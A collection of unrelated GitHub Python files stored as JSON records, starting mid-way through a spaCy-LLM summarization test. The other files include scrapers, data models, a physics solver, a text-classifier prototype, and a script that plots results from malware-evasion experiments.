\"summarization.json\"),\n        str(EXAMPLES_DIR / \"summarization.yml\"),\n        str(EXAMPLES_DIR / \"summarization.jsonl\"),\n    ],\n)\ndef test_jinja_template_rendering_with_examples(examples_path, example_text):\n    \"\"\"Test if jinja2 template renders as expected\n\n    We apply the .strip() method for each prompt so that we don't have to deal\n    with annoying newlines and spaces at the edge of the text.\n    \"\"\"\n    nlp = spacy.blank(\"en\")\n    doc = nlp.make_doc(example_text)\n\n    prompt_examples = fewshot_reader(examples_path)\n    llm_ner = make_summarization_task(examples=prompt_examples, max_n_words=20)\n\n    with pytest.warns(\n        UserWarning,\n        match=re.escape(\n            \"The provided example 'Life is a quality th...' has a summary of length 28, but `max_n_words` == 20.\"\n        ),\n    ):\n        prompt = list(llm_ner.generate_prompts([doc]))[0]\n\n    assert (\n        prompt.strip()\n        == f\"\"\"\nYou are an expert summarization system. Your task is to accept Text as input and summarize the Text in a concise way.\nThe summary must not, under any circumstances, contain more than 20 words.\nBelow are some examples (only use these as a guide):\n\nText:\n'''\nThe United Nations, referred to informally as the UN, is an intergovernmental organization whose stated purposes are to maintain international peace and security, develop friendly relations among nations, achieve international cooperation, and serve as a centre for harmonizing the actions of nations. It is the world's largest international organization. The UN is headquartered on international territory in New York City, and the organization has other offices in Geneva, Nairobi, Vienna, and The Hague, where the International Court of Justice is headquartered.\n\nThe UN was established after World War II with the aim of preventing future world wars, and succeeded the League of Nations, which was characterized as ineffective. On 25 April 1945, 50 nations met in San Francisco, California for a conference and started drafting the UN Charter, which was adopted on 25 June 1945. The charter took effect on 24 October 1945, when the UN began operations. The organization's objectives, as defined by its charter, include maintaining international peace and security, protecting human rights, delivering humanitarian aid, promoting sustainable development, and upholding international law. At its founding, the UN had 51 member states; as of 2023, it has 193 – almost all of the world's sovereign states.\n'''\nSummary:\n'''\nUN is an intergovernmental organization to foster international peace, security, and cooperation. Established after WW2 with 51 members, now 193.\n'''\n\nText:\n'''\nLife is a quality that distinguishes matter that has biological processes, such as signaling and self-sustaining processes, from matter that does not, and is defined by the capacity for growth, reaction to stimuli, metabolism, energy transformation, and reproduction. Various forms of life exist, such as plants, animals, fungi, protists, archaea, and bacteria. Biology is the science that studies life.\n\nThe gene is the unit of heredity, whereas the cell is the structural and functional unit of life. There are two kinds of cells, prokaryotic and eukaryotic, both of which consist of cytoplasm enclosed within a membrane and contain many biomolecules such as proteins and nucleic acids. Cells reproduce through a process of cell division, in which the parent cell divides into two or more daughter cells and passes its genes onto a new generation, sometimes producing genetic variation.\n\nOrganisms, or the individual entities of life, are generally thought to be open systems that maintain homeostasis, are composed of cells, have a life cycle, undergo metabolism, can grow, adapt to their environment, respond to stimuli, reproduce and evolve over multiple generations. Other definitions sometimes include non-cellular life forms such as viruses and viroids, but they are usually excluded because they do not function on their own; rather, they exploit the biological processes of hosts.\n'''\nSummary:\n'''\nLife is a quality defined by biological processes, including reproduction, genetics, and metabolism. There are two types of cells and organisms that can grow, respond, reproduce, and evolve.\n'''\n\nHere is the Text that needs to be summarized:\n'''\n{example_text}\n'''\nSummary:\n\"\"\".strip()\n    )\n\n\ndef test_external_template_actually_loads(example_text):\n    template_path = str(TEMPLATES_DIR / \"summarization.jinja2\")\n    template = file_reader(template_path)\n    nlp = spacy.blank(\"en\")\n    doc = nlp.make_doc(example_text)\n\n    llm_ner = make_summarization_task(template=template)\n    prompt = list(llm_ner.generate_prompts([doc]))[0]\n    assert (\n        prompt.strip()\n        == \"\"\"\nThis is a test summarization template.\nHere is the text: The atmosphere of Earth is the layer of gases, known collectively as air, retained by Earth's gravity that surrounds the planet and forms its planetary atmosphere. The atmosphere of Earth creates pressure, absorbs most meteoroids and ultraviolet solar radiation, warms the surface through heat retention (greenhouse effect), allowing life and liquid water to exist on the Earth's surface, and reduces temperature extremes between day and night (the diurnal temperature variation).\n\"\"\".strip()\n    )\n\n\ndef test_ner_serde(noop_config):\n    config = Config().from_str(noop_config)\n    nlp1 = assemble_from_config(config)\n    nlp2 = assemble_from_config(config)\n    nlp2.from_bytes(nlp1.to_bytes())\n\n\ndef test_ner_to_disk(noop_config, tmp_path: Path):\n    config = Config().from_str(noop_config)\n    nlp1 = assemble_from_config(config)\n    nlp2 = assemble_from_config(config)\n\n    path = tmp_path / \"model\"\n    nlp1.to_disk(path)\n\n    cfgs = list(path.rglob(\"cfg\"))\n    assert len(cfgs) == 1\n\n    nlp2.from_disk(path)\n","repo_name":"explosion/spacy-llm","sub_path":"spacy_llm/tests/tasks/test_summarization.py","file_name":"test_summarization.py","file_ext":"py","file_size_in_byte":13689,"program_lang":"python","lang":"en","doc_type":"code","stars":710,"dataset":"github-code","pt":"38"}
{"seq_id":"15122524539","text":"import base64\nimport datetime\n\nfrom dataclasses import dataclass\nfrom pydantic import BaseModel\n\n\n@dataclass\nclass AcfgParams:\n    creator: str\n    decimals: int\n    total: int\n    round: int\n    url: str = None\n    url_b64: str = None\n    name: str = None\n    name_b64: str = None\n    unit_name: str = None\n    unit_name_b64: str = None\n    default_frozen: bool = None\n    metadata_hash: str = None\n    manager: str = None\n    freeze: str = None\n    reserve: str = None\n    clawback: str = None\n\n\nclass Txn:\n    def __init__(self, txninfo):\n        self.data = txninfo\n\n    @property\n    def round_time(self):\n        return self.data[\"round-time\"]\n\n    @property\n    def note(self):\n        if \"note\" in self.data:\n            return base64.b64decode(self.data[\"note\"])\n        return None\n\n    @property\n    def type(self):\n        return self.data[\"tx-type\"]\n\n\nclass ACfgTxn(Txn):\n    def __init__(self, txninfo):\n        Txn.__init__(self, txninfo)\n        params = self.data[\"asset-config-transaction\"][\"params\"]\n        for key in list(params.keys()):\n            if \"-\" in key:\n                params[key.replace(\"-\", \"_\")] = params.pop(key)\n        params[\"round\"] = self.data[\"confirmed-round\"]\n        self.params = AcfgParams(**params)\n        self.txn_id = self.data[\"id\"]\n\n    @property\n    def created_asset_id(self):\n        self.data.get(\"created-asset-index\", None)\n\n    def __repr__(self):\n        rep = f\"ACfgTxn({self.txn_id})\"\n        return rep\n\n\nclass AssetBaseSchema(BaseModel):\n    asset_id: int\n    name: str\n    description: str = None\n    asset_info: dict\n    asset_metadata: dict = None\n    is_destroyed: bool\n    media: dict = None\n    collection_asset: list = []\n    network: str\n    blockchain_updated_at: datetime.datetime\n","repo_name":"ZestBloom/kinnutils","sub_path":"kinnutils/algorand/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"6858188112","text":"\"\"\" Components\n\"\"\"\nimport logging\nimport types\nfrom zope.component import queryAdapter\nfrom eea.relations.interfaces import IContentType\nfrom eea.relations.component.interfaces import IContentTypeLookUp\nfrom eea.relations.component.interfaces import IRelationsLookUp\n\nlogger = logging.getLogger('eea.relations.queryContentType')\n\n\ndef queryContentType(context):\n    \"\"\" Lookup for context related content-type in portal_relations\n    \"\"\"\n    connecter = queryAdapter(context, IContentTypeLookUp)\n    if not connecter:\n        if not isinstance(context, types.MethodType):\n            logger.exception('No IContentTypeLookUp adapter found for '\n                             '%s', context)\n        return None\n    return connecter()\n\n\ndef queryForwardRelations(context):\n    \"\"\" Lookup for context possible forward relations\n    \"\"\"\n    if not IContentType.providedBy(context):\n        context = queryContentType(context)\n    if not context:\n        return\n    connecter = queryAdapter(context, IRelationsLookUp)\n    if not connecter:\n        logger.exception('No IRelationsLookUp adapter found for '\n                         '%s', context)\n        return\n    for relation in connecter.forward():\n        yield relation\n\n\ndef queryBackwardRelations(context):\n    \"\"\" Lookup for context possible backward relations\n    \"\"\"\n    if not IContentType.providedBy(context):\n        context = queryContentType(context)\n    if not context:\n        return\n    connecter = queryAdapter(context, IRelationsLookUp)\n    if not connecter:\n        logger.exception('No IRelationsLookUp adapter found for '\n                         '%s', context)\n        return\n    for relation in connecter.backward():\n        yield relation\n\n\ndef getForwardRelationWith(context, ctype):\n    \"\"\" Get forward relation with ctype\n\n    Returns None if I can't find possible relation or\n    possible relation object from portal_relations\n    \"\"\"\n    if not IContentType.providedBy(context):\n        context = queryContentType(context)\n    if not context:\n        return None\n    new_ctype = ctype\n    if not IContentType.providedBy(ctype):\n        new_ctype = queryContentType(ctype)\n    if not new_ctype:\n        return None\n\n    connecter = queryAdapter(context, IRelationsLookUp)\n    if not connecter:\n        logger.exception('No IRelationsLookUp adapter found for '\n                         '%s', context)\n        return None\n    return connecter.forward_with(new_ctype)\n\ndef getBackwardRelationWith(context, ctype):\n    \"\"\" Get backward relation with ctype\n\n    Returns None if I can't find possible relation or\n    possible relation object from portal_relations\n    \"\"\"\n    if not IContentType.providedBy(context):\n        context = queryContentType(context)\n    if not context:\n        return None\n\n    if not IContentType.providedBy(ctype):\n        ctype = queryContentType(ctype)\n    if not ctype:\n        return None\n\n    connecter = queryAdapter(context, IRelationsLookUp)\n    if not connecter:\n        logger.exception('No IRelationsLookUp adapter found for '\n                         '%s', context)\n        return None\n    return connecter.backward_with(ctype)\n","repo_name":"eea/eea.relations","sub_path":"eea/relations/component/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"1964784963","text":"def reverse(x):\n    res = 0\n    x, isNeg = (-x, True) if x < 0 else (x, False) \n    while x > 0:\n        rem = x % 10\n        x //= 10\n        res = 10 * res + rem\n    \n    return -res if isNeg else res\n\n\nfrom sys import exit\n\nfrom test_framework import generic_test, test_utils\n\nif __name__ == '__main__':\n    exit(generic_test.generic_test_main('reverse_digits.tsv', reverse))\n    \n","repo_name":"amolnayak311/epi-python","sub_path":"reverse_digits.py","file_name":"reverse_digits.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"20874589126","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef get_evasions_falues(path):\n    vals = []\n    with open(path, \"r\") as f:\n        for line in f:\n            vals.append(float(line.strip().split(\",\")[0]))\n    return np.array(vals)\n\n\nif __name__ == \"__main__\":\n    # names = [\"okreuk_sorel_malconv\", \"okreukvmi_sorel_malconv\", \"kreukmi_sorel_malconv\", \"nkreuk2_sorel_malconv\", \"kreuk_sorel_malconv\"]\n    # labels =[\"FGSM\", \"FGSM-VMI\", \"FGSM-MI\", \"FGSM(2)\", \"FGSM (og-t)\"]\n    # names = [\"kreuk_sorel_malconv\", \"kreukmomentum_sorel_malconv\", \"kreukvmi_sorel_malconv\"]\n    # names = [\"okreuk_sorel_malconv\", \"okreukvmi_sorel_malconv\", \"kreukmi_sorel_malconv\"]\n    # labels =[\"FGSM\", \"FGSM-MI\", \"FGSM-VMI\"]\n    #names = [\"dosextend_malconv\", \"dosextend_sorel\", \"dosextend_gbt\", \"dosextend_malconv_gbtall_sorel_all\", \"dosextend_malconv_gbt\", \"dosextend_malconv_sorel\", \"dosextend_sorelall\", \"dosextend_gbt_all\", \"dosextend_malconv_gbtall_sorel\", \"dosextend_malconv_gbt_sorel_all\"]\n    #labels = [\"Malconv\", \"SOREL\", \"GBT\", \"MalConv_GBTALL_SORELALL\", \"Malconv_GBT\", \"Malconv_SOREL\", \"SORELALL\", \"GBTALL\", \"Malconv_GBTALL_SOREL\", \"Mallconv_GBT_SORELALL\"]\n    names = [\"dosextend_malconv_gbtall_sorel_all\"]\n    labels = [\"i-Ensemble\"]\n    vals = [get_evasions_falues(f\"./vt_outputs/{name}.txt\") for name in names]\n    # Plot histogram\n    for i, val in enumerate(vals):\n        plt.hist(val, bins=[1, 5, 10, 15, 20, 25, 30, 35], label=labels[i], alpha=0.5)\n        # print(\"Average # of evasions for {}: {}\".format(labels[i], val.mean()))\n        print(\"Average % of evasions for {} (>= 15 evasions): {}\".format(labels[i], 100 * (val >= 15).mean()))\n        print(\"Average % of evasions for {} (>= 30 evasions): {}\".format(labels[i], 100 * (val >= 30).mean()))\n    # Save plot\n    plt.xlabel(\"Number of classifiers evaded (out of 73)\")\n    plt.savefig(f\"histogram.png\")\n","repo_name":"iamgroot42/blackboxsok","sub_path":"experiments/histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"25082661105","text":"from backend.db.base_class import Base\nfrom sqlalchemy import Column, Integer, ForeignKey\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.orm import backref\n\n\nclass CartProduct(Base):\n    __tablename__ = 'cart_products'\n    cart_product_id = Column(Integer, primary_key=True)\n    product_id = Column(Integer, ForeignKey('products.id'), nullable=False)\n    product = relationship(\n        \"Product\", foreign_keys=[product_id],\n        backref=backref(\n            \"cart_products\", cascade=\"all,delete\"\n        )\n    )\n    user_id = Column(Integer, ForeignKey('users.id'), nullable=False)\n    quantity = Column(Integer, nullable=False)\n\n    @property\n    def is_available(self):\n        try:\n            return sum([availability.quantity for availability in self.product.available]) > 0\n        except Exception as e:\n            print(e)\n\n\nclass CartStock(Base):\n    __tablename__ = 'cart_stocks'\n    cart_stock_id = Column(Integer, primary_key=True)\n    stock_id = Column(Integer, ForeignKey('stocks.id'), nullable=False)\n    stock = relationship(\n        \"Stock\", foreign_keys=[stock_id],\n        backref=backref(\n            \"cart_stocks\", cascade=\"all,delete\"\n        )\n    )\n    user_id = Column(Integer, ForeignKey('users.id'), nullable=False)\n    quantity = Column(Integer, nullable=False)\n\n    @property\n    def is_available(self):\n        try:\n            stock_products = self.stock.products\n            stock_availability = 0\n            for stock_product in stock_products:\n                if len([availability for availability in stock_product.product.available if availability.quantity > 0]) > 0:\n                    stock_availability += 1\n            return stock_availability == len(stock_products)\n        except Exception as e:\n            print(e)\n","repo_name":"Nokogiri0/Internet-magazin","sub_path":"backend/models/cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"7633494594","text":"import click\nfrom string import Template\nimport ast\nfrom os.path import isfile\nimport inflect\nimport pkg_resources\n\nfrom crafter.commands import create_model\n\np = inflect.engine()\n\ndef create_relationship(relationship_type, model_1, model_2, assoc = None):\n    assoc_name = ''\n    if (relationship_type == 'many_many'):\n        assoc_name = assoc\n\n    statements = {\n        \"one_one\" : [\n            f\"{model_2} = db.relationship('{model_2.capitalize()}', backref='{model_1.lower()}', lazy=True, uselist=False)\",\n            f\"{model_1}_id = db.Column(db.Integer, db.ForeignKey('{model_1}.id'), nullable=False)\",\n        ],\n        \"one_many\": [\n            f\"{p.plural(model_2)} = db.relationship('{model_2.capitalize()}', backref='{model_1.lower()}', lazy=True)\",\n            f\"{model_1}_id = db.Column(db.Integer, db.ForeignKey('{model_1}.id'), nullable=False)\",\n        ],\n        \"many_one\": [\n            f\"{model_2}_id = db.Column(db.Integer, db.ForeignKey('{model_2}.id'), nullable=False)\",\n            f\"{p.plural(model_1)} = db.relationship('{model_1.capitalize()}', backref='{model_2.lower()}', lazy=True)\",\n        ],\n        \"many_many\": [\n            f\"{p.plural(assoc_name)} = db.relationship('{model_2.capitalize()}', secondary={assoc_name}, backref=db.backref('{assoc_name}', lazy=True))\",\n            None,\n        ],\n\n    }\n\n    insert_statement(statements[relationship_type][0], model_1)\n    insert_statement(statements[relationship_type][1], model_2)\n\n    if (relationship_type == \"many_many\"):\n        create_assoc_table(assoc_name, model_1, model_2)\n        add_import(assoc_name, model_1)\n\n    \n    click.echo(f\"{model_1} and {model_2} Relationship created successfully ✅\")\n\ndef add_import(assoc_name, model):\n    with open(f\"app/models/{model}.py\", \"r\") as f:\n        root = ast.parse(f.read())\n    import_node = ast.parse(f\"import {assoc_name}\")\n    root.body.insert(1, import_node)\n    ast.fix_missing_locations(root)\n\n    unparsed = ast.unparse(root)\n\n    with open(f\"app/models/{model}.py\", \"w\") as f:\n        f.write(unparsed)\n\n\ndef create_assoc_table(assoc_name, model_1, model_2):\n\n    d = {\n        'assoc_name': assoc_name,\n        'model_1': model_1,\n        'model_2': model_2,\n        \n    }\n\n    with open(pkg_resources.resource_filename(\"crafter\", \"templates/assoc_table.tpl\"), \"r\") as f:\n        src = Template(f.read())\n    result_table = src.substitute(d)\n\n    with open(f\"app/models/{assoc_name}.py\", \"w\") as f:\n        f.write(result_table)\n   \n    click.echo(f\"{assoc_name} Table created successfully ✅\")\n\n\ndef insert_statement(statement, model):\n    if statement is None:\n        if not isfile(f\"app/models/{model}.py\"):\n            create_model(model)\n        return \n    if not isfile(f\"app/models/{model}.py\"):\n        create_model(model)\n\n    with open(f\"app/models/{model}.py\", \"r\") as f:\n        root = ast.parse(f.read())\n\n    classdef = root.body[-1]\n    assign_node = ast.parse(statement)\n    classdef.body.insert(2, assign_node)\n    ast.fix_missing_locations(root)\n\n    unparsed = ast.unparse(root)\n\n    with open(f\"app/models/{model}.py\", \"w\") as f:\n        f.write(unparsed)\n    \n","repo_name":"rdp-jr/crafter","sub_path":"crafter/commands/create_relationship.py","file_name":"create_relationship.py","file_ext":"py","file_size_in_byte":3143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"72818462509","text":"#!/usr/bin/env python3\nimport sys\nimport re\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\n\ndef stockQuote(watchlist):\n    # default url for a stock quote search\n    url=\"https://markets.businessinsider.com/stocks/\"\n    data=[] # create a temp list to stuff each url content into\n    # iterate over our watchlist extracting html data\n    for stock in watchlist:\n        temp=urlopen(url+stock+\"-stock\")\n        bs = BeautifulSoup(temp.read(), 'html.parser')\n        data.append(bs)\n    \n    counter=0\n    # iterate over our stock html data to pull out the closing price\n    for stock in data:\n        nameList=stock.findAll('div', {'class':'col-md-3 col-xs-6 text-right bold black'})\n        price=nameList[0].get_text()\n        print(watchlist[counter] + \" \" + price.strip())\n        counter+=1\n\n        \nstockQuote([\"MSFT\",\"GOOGL\",\"T\",\"BRKB\",\"AAPL\",\"FB\",\"SBUX\",\"MS\",\"SCHW\",\"CSCO\",\"PG\",\"DAL\",\"JNJ\",\"PFE\"])\n","repo_name":"leeman7/Scripts","sub_path":"stock-quote.py","file_name":"stock-quote.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"70119474350","text":"#  @author: Yifeng Peng PID: 730366058\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef Dfunc(t,Y,params):\r\n    [I1,I3,M,g,l] = params\r\n    theta = Y[0]\r\n    p_theta = Y[1]\r\n    phi = Y[2]\r\n    p_phi = Y[3]\r\n    psi = Y[4]\r\n    p_psi = Y[5]\r\n    \r\n    def kick(t):\r\n        tperiod = 0.5\r\n        if t/tperiod > 1 and t % tperiod < 0.01:\r\n            kick = 1 # can be changed to other value to apply a short term kick in the vertical direction. Notice the amount is affected by the solver resolution dt.\r\n        else:\r\n            kick = 1\r\n        return kick\r\n    \r\n    ret = np.zeros(6)\r\n    \r\n    ret[0] = p_theta/I1\r\n    ret[1] = (p_phi-p_psi*np.cos(theta))**2*np.cos(theta)/(I1*np.sin(theta)**3) - p_psi*(p_phi-p_psi*np.cos(theta))/(I1*np.sin(theta)) + M*kick(t)*g*l*np.sin(theta)\r\n    ret[2] = (p_phi-p_psi*np.cos(theta))/(I1*np.sin(theta)**2)\r\n    ret[3] = 0\r\n    ret[4] = p_psi/I3 - (p_phi-p_phi*np.cos(theta))*np.cos(theta)/(I1*np.sin(theta)**2)\r\n    ret[5] = 0\r\n    return ret\r\n\r\ndef RK4(f,Y0,dt,T,params):\r\n    t = np.arange(0,T,dt)\r\n    iteration = len(t)\r\n    Y = np.zeros([len(Y0),iteration])\r\n    Y[:,0] = Y0[:,0]\r\n    for i in range(iteration-1):\r\n        k1 = f(t[i],Y[:,i],params)\r\n        k2 = f(t[i]+dt/2,Y[:,i]+dt/2*k1,params)\r\n        k3 = f(t[i]+dt/2,Y[:,i]+dt/2*k2,params)\r\n        k4 = f(t[i]+dt,Y[:,i]+dt*k3,params)\r\n        Y[:,i+1] = Y[:,i]+dt/6*(k1+2*k2+2*k3+k4)\r\n    return t,Y\r\n","repo_name":"ericpeng1999/Spinning-Top","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"72118922989","text":"# # Prototyping on mortgages\n\n# Let's prototype a potentially useful ML app here.\n# We'll abstract and test and expand later, but we can try to fail fast.\n\n\n# ## Imports\n\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.metrics import roc_auc_score, precision_recall_fscore_support\nfrom sklearn.preprocessing import label_binarize\n\n# ## Read data\n\n# We'll read the data and keep only those complaints with narratives.\n# I don't like stateful manipulation of dataframes in the global scope,\n# so we're going to wrap it in a function.\n\ndef read_complaints(filename):\n    \"\"\"\n    Reads the consumer complaints data (in it's standard downloaded csv form)\n    from the file `filename', relative to project root directory.\n    \"\"\"\n    complaints = pd.read_csv(filename)\n    complaints = complaints[complaints['Consumer complaint narrative'].notnull()]\n    return complaints\n\ncomplaints = read_complaints('data/raw/consumer_complaints.csv')\n\n\n# Let's try to build an \"issue classifier\" from the free text.\n# This could be used as an assistive system for the administrators that\n# need to respond to the free text:\n# complaints could be automatically routed to the right person\n# (with the caveat that they need a method for correcting misclassifications!)\n\n# As described in the field reference, the \"Issue\" identified for each\n# complaint can take certain values depending on the product\n# (which is specified by the user).\n\n# Let's at least start simple, and focus on just one product.\n# I'm choosing mortgages because I like the cut of it's jib.\n\n# How many issues exist within the mortgage product category?\n\n(\n    complaints\n    [complaints['Product'] == 'Mortgage'] # filter\n    .groupby('Issue')\n    ['Complaint ID'] # select column\n    .count()\n    .sort_values(ascending=False)\n)\n\n\n# Owing to the imbalanced number of entries for each issue, I suggest\n# we take only the top 9 (arbitrarily) categories here,\n# then introduce an \"other\" category.\n# It's still an imbalanced dataset, but nonetheless, let's go ahead.\n# Let's also encode the issue categories for ease of reference.\n\nissues_abbreviations = {\n    \"Loan servicing, payments, escrow account\": \"loan_servicing\",\n    \"Loan modification,collection,foreclosure\": \"loan_modification\",\n    \"Trouble during payment process\": \"payment_process\",\n    \"Struggling to pay mortgage\": \"struggling_to_pay\",\n    \"Application, originator, mortgage broker\": \"application\",\n    \"Settlement process and costs\": \"settlement\",\n    \"Applying for a mortgage or refinancing an existing mortgage\": \"applying\",\n    \"Closing on a mortgage\": \"closing\",\n    \"Credit decision / Underwriting\": \"underwriting\",\n    \"Incorrect information on your report\": \"other\",\n    \"Applying for a mortgage\": \"applying\",\n    \"Problem with a credit reporting company's investigation into an existing problem\": \"other\",\n    \"Improper use of your report\": \"other\",\n    \"Credit monitoring or identity theft protection services\": \"other\",\n    \"Unable to get your credit report or credit score\": \"other\",\n    \"Problem with fraud alerts or security freezes\": \"other\"\n}\n\n\n# Our `issues_abbreviations` dict is not 1:1.\n# Inverting won't work perfectly because we've mapped several categories to\n# \"other\".\n# We'll \"fix\" that by replacing the categories mapping to \"other\" with\n# \"Unknown\" in the reverse mapping, since we can't be sure which issue they\n# should be attributed to.\n# Again, I'm going to encapsulate the stateful append to the dict with a\n# function.\n\ndef create_abbreviations_issues():\n    \"\"\"\n    Reverse the issues_abbreviations dict, encapsulating state\n    \"\"\"\n    abbreviations_issues = {\n        v:k for (k,v) in issues_abbreviations.items()\n    }\n    abbreviations_issues['other'] = 'Unknown'\n    return abbreviations_issues\n\nabbreviations_issues = create_abbreviations_issues()\n\n\n# Now we can clean up the data.\n\ndef create_mortgages_frame():\n    mortgages = (\n        complaints\n            [complaints['Product'] == 'Mortgage']\n            [['Consumer complaint narrative', 'Issue']]\n            .rename({\n                'Consumer complaint narrative': 'complaint',\n                'Issue': 'issue'\n                },\n                axis='columns')\n            .reset_index(drop=True)\n    )\n    mortgages['issue'] = mortgages.issue.apply(\n      lambda x: issues_abbreviations[x]\n    )\n    return mortgages\n\nmortgages = create_mortgages_frame()\n\n# Let's take a look.\n\nmortgages.head()\n\ndef plot_mortgage_complaint_lengths():\n    # This is the second time I've written this code, so maybe\n    # it'd be a good thing to abstract!\n    ax = mortgages.complaint.apply(len).plot(kind='hist', bins = 100)\n    ax.set_xlabel('Character length of text')\n    return ax\n\nplot_mortgage_complaint_lengths()\n\n# Still a wide range of lengths.\n\ncomplaint_lengths = mortgages.complaint.apply(len)\ncomplaint_lengths.describe()\n\n# I'm suspicious of the extremely long messages.\n# Let's look at some of them.\n\nlong_messages = (\n    mortgages\n    .where(mortgages.complaint.apply(lambda c: len(c) > 10000))\n    .dropna()\n)\n\nlong_messages.sample().complaint.values[0]\n\n# Yup, they just seem like really long complaints ¯\\\\\\_(ツ)_/¯\n\n# How imbalanced is the dataset?\n\ndef plot_class_balance():\n    ax = pd.value_counts(mortgages.issue).plot(kind='bar')\n    ax.set_xlabel('Issue')\n    ax.set_ylabel('Count')\n    return ax\n\nplot_class_balance()\n\n# ## Classifying complaints\n\n# So we have some handle on the data.\n# Let's train a classifier to separate complaints into the issues identified.\n\n# First, split into train and test sets, stratified across the classes.\n# If we were going to do model selection too, we'd want to split into an\n# additional set to give us some measure of expected real world performance\n# (ie stop us overfitting the test set).\n# We'll do that eventually, but the results of this experiment aren't going\n# be used for anything except testing whether this problem is easily amenable\n# to ML, so I'm not too concerned about holding out validation data right now.\n\ntrain_X, test_X, train_y, test_y = train_test_split(\n    mortgages.complaint,\n    mortgages.issue,\n    stratify=mortgages.issue,\n    test_size=0.2\n)\n\n\n# We need a computable representation of text.\n# For topic classification (which is what we're doing here),\n# keywords usually work great, at least as a baseline.\n# We'll use scikit's tf-idf.\n\nvectorizer = TfidfVectorizer()\nvectorized_train_X = vectorizer.fit_transform(train_X)\nvectorized_test_X = vectorizer.transform(test_X)\n\n\n# Yes, using vectorizer like this has broken my enforced rigour about\n# state transforms in the global scope (vectorizer is now different to\n# when it was created). I'll deal with it.\n\n# We'll try a simple multinomial naive bayes classifier.\n# Technically this should use integer counts (because that's what a multinomial\n# distribution represents), but it works with td-idf in practice too.\n\nclf = MultinomialNB()\nclf.fit(vectorized_train_X, train_y)\n\n\n# Predict on train and test using the fitted classifier.\n\ntrain_y_pred = clf.predict(vectorized_train_X)\ntest_y_pred = clf.predict(vectorized_test_X)\n\n\n# Calculate a measure of goodness.\n# We'll use the area under the ROC curve (true positive vs false positive\n# rate), with a weighted average over the multiple classes.\n# To do this we must binarize the labels (because that's what the sklearn\n# method wants).\n\nlabels = [x for x in set(issues_abbreviations.values())]\n\nbinary_true_train_y = label_binarize(train_y, classes=labels)\nbinary_pred_train_y = label_binarize(train_y_pred, classes=labels)\nbinary_true_test_y = label_binarize(test_y, classes=labels)\nbinary_pred_test_y = label_binarize(test_y_pred, classes=labels)\n\ntrain_roc = roc_auc_score(\n    binary_true_train_y,\n    binary_pred_train_y,\n    average='weighted'\n)\n\ntest_roc = roc_auc_score(\n    binary_true_test_y,\n    binary_pred_test_y,\n    average='weighted'\n)\n\nprint(\n  \"The weighted average ROC AUC for the train set: {}\"\n  .format(train_roc)\n)\n\nprint(\n  \"The weighted average ROC AUC for the test set: {}\"\n  .format(test_roc)\n)\n\n\n# OK. That's not a great score, but we used a simple\n# method with all default params (for both td-idf and naive bayes).\n\n# Let's also take a look at the precision, recall, f-score and support,\n# again weighted by class imbalances.\n\ntrain_prfs = precision_recall_fscore_support(\n    binary_true_train_y,\n    binary_pred_train_y,\n    average='weighted'\n)\n\ntest_prfs = precision_recall_fscore_support(\n    binary_true_test_y,\n    binary_pred_test_y,\n    average='weighted'\n)\n\n# When calling the `precision...` function, we get an UndefinedMetricWarning\n# telling us that there are labels with no predicted samples.\n# That's likely because the classes in our training set are so imbalanced.\n# There are multiple ways of dealing with that which we can investigate later.","repo_name":"cjwallace/moaney","sub_path":"experiments/prototype.py","file_name":"prototype.py","file_ext":"py","file_size_in_byte":8941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"41509600803","text":"import re\nimport snscrape.modules.twitter as sntwitter\nimport pandas as pd\nfrom tqdm import tqdm\n\n\ndef scraperV1(query, maxTweets):\n    scraper = sntwitter.TwitterSearchScraper(query)\n    data = scraper.get_items()\n\n    tweets = []\n\n    counter = 0\n\n    for tweet in tqdm(data, total=maxTweets):\n        if counter > maxTweets:\n            break\n        if tweet.lang == 'en':\n            text = tweet.renderedContent\n            text = re.sub(',','\\\\,',text)\n            text = re.sub('\\n',' ',text)\n            l = []\n            l.append(tweet.id)\n            l.append(tweet.date)\n            l.append(text)\n            l.append(tweet.likeCount)\n            l.append(tweet.retweetCount)\n            l.append(tweet.replyCount)\n            l.append(tweet.hashtags)\n            tweets.append(l)\n            counter +=1\n\n    df = pd.DataFrame(tweets, columns=['id', 'date', 'renderedContent', 'likeCount', 'retweetCount', 'replyCount', 'hashtags'])\n    \n    return df\n\n\n\n\n","repo_name":"MiguelAMM42/SentimentAnalysis","sub_path":"Twitter/src/scraperV1.py","file_name":"scraperV1.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
